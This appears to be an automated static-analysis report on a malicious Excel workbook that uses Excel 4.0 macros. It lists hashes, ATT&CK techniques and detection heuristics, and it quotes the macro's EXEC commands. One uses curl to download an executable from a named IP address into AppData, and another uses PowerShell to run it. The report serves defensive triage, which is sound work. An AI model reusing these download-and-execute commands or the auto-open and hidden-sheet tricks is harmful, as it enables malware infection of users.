Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 10a3c0dc25be7319…

MALICIOUS

Office (OOXML)

85.4 KB Created: 2020-09-20 21:17:44 UTC Authoring application: Microsoft Excel 16.0300
MD5: 15e98764d969ee310fb1cdda85a26862 SHA-1: 718382bbcf75fd62c07ad276ff0201c62f9da1f6 SHA-256: 10a3c0dc25be73191ca2ea5dc2730e07e544d44549954244d0cb36a94bf6c446
210 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The sample contains Excel 4.0 macros, specifically using the dangerous EXEC function. One macro command is 'EXEC("cmd /c curl http://151.236.30.123/images/suntogether.png -o %appdata%\mYKCY.exe")', which downloads a file named 'suntogether.png' from the specified URL to the user's AppData directory as 'mYKCY.exe'. Another macro command is 'EXEC("powershell.exe start-sleep 10; $x=$env:AppData+\'mYKCY.exe\';Invoke-Expression $x")', which appears to execute the downloaded file. This indicates a downloader pattern.

Heuristics 6

  • Excel 4.0 macro sheet (1 sheet(s)) critical OOXML_XLM_MACROSHEET
    Spreadsheet contains an Excel 4.0 (XLM) macro sheet — XLM was a major Office malware vector during 2020-2022 and evaded many VBA-focused controls before Microsoft tightened XLM defaults. Even legitimate XLM use is rare in modern workbooks.
  • Excel 4.0 Auto_Open defined name critical OOXML_XLM_AUTOOPEN_DEFINEDNAME
    Workbook defines _xlnm.Auto_Open or _xlnm.Auto_Close while containing an XLM macro sheet. This is the OOXML/XLSB auto-execution shape for Excel 4.0 macros.
  • Dangerous XLM formula APIs: EXEC critical OOXML_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet uses formula APIs that call directly into Win32 (=CALL/=EXEC/=REGISTER/=FORMULA). These are the primitives used to download payloads, write files, and start processes from an XLM macro without invoking VBA.
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Hidden worksheet (veryHidden) low OOXML_HIDDEN_SHEET
    Excel workbook contains 1 hidden sheet(s) — hidden sheets are commonly used to conceal macro code, staging data, or intermediate payload construction
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://151.236.30.123/images/suntogether.png
    • http://schemas.openxmlformats.org/spreadsheetml/2006/main
    • http://schemas.microsoft.com/office/excel/2006/main
    • http://schemas.openxmlformats.org/officeDocument/2006/relationships
    • http://schemas.openxmlformats.org/markup-compatibility/2006
    • http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac
    • http://schemas.microsoft.com/office/spreadsheetml/2014/revision
    • http://schemas.microsoft.com/office/spreadsheetml/2015/revision2
    • http://schemas.microsoft.com/office/spreadsheetml/2016/revision3
    • http://schemas.microsoft.com/office/spreadsheetml/2016/revision6

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_sheet_00.xml
575c8364e52f2b91419b1610afe984497fe43458562e724a76de4b260264a69d
xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/intlsheet1.xml 1986 bytes
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 shell/COM execution token(s).